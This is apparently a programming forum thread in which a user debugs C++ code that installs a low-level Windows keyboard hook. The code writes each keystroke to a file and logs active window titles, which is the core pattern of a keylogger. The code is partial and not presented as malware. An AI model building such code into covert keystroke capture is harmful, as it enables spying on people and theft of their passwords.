hooks with multiple callback functions

Hi guys

Recently, I could successfully set up a file with a hook procedure, and a file that gets window titles with an other callback function. Both work for themselves. However, if I try to merge the window title file into the one with the hook, only the hook remains working. I think I somehow misunderstood the consequences of the hook, and might use a hint.
I attached the main file to give you an overview, but the problem will not lie in the code I suppose.

1
2
3
4
5
6
7
8
9
10
11
HHOOK hHock = NULL;
int main(){
    
    //installs keyboard hook, keyboardproc is a callback function
	hHock = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardproc , NULL,0);

	while(1){
	//gets windowtitle as soon as the active window changes with callback function
		EnumWindows(EnumWindowsProc, 0);
	}
};


Best,
Dave
Last edited on
You should remember the existing hook and then if it exists call it in your hook.
Thanks for your answer LB.

Could you extend this explanation a bit? You seem to address the problem directly, but I have difficulties to really understand. I tried to move the EnumWindows Function into the hooks callback function, but the EnumWindows callback function is still never called.

At the moment it looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
string global_owtb="";

BOOL CALLBACK EnumWindowsProc(HWND window_handle, LPARAM lparam_window){
	char window_title_buffer[256]={0};
	//handle for active window
	window_handle=GetForegroundWindow();
		
	int window_text_length=GetWindowText(window_handle,window_title_buffer,256);
	
	//convert buffer to string for comparison
	string wtb(window_title_buffer);

	if (wtb!=global_owtb){
		cout << window_title_buffer << "\n";
	}
	global_owtb=wtb;
	return false;
}

LRESULT CALLBACK keyboardproc ( int nCode , WPARAM wparam , LPARAM lparam){
		
	if(wparam == WM_KEYDOWN){

               //..... 
               //code to get the specific key
               //.....

					
		//print keystroke		
		write_to_file(strTo, cKey.vkCode);
	}

	//call window title if it has changed
	EnumWindows(EnumWindowsProc, 0);

	return CallNextHookEx(hHock , nCode ,wparam , lparam);
}
		
    	
int main(){
    
    //install keyboard hook
	hHock = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardproc , NULL,0);

	MSG msg;
    while(!GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    cout << "ende";
};
Last edited on
Topic archived. No new replies allowed.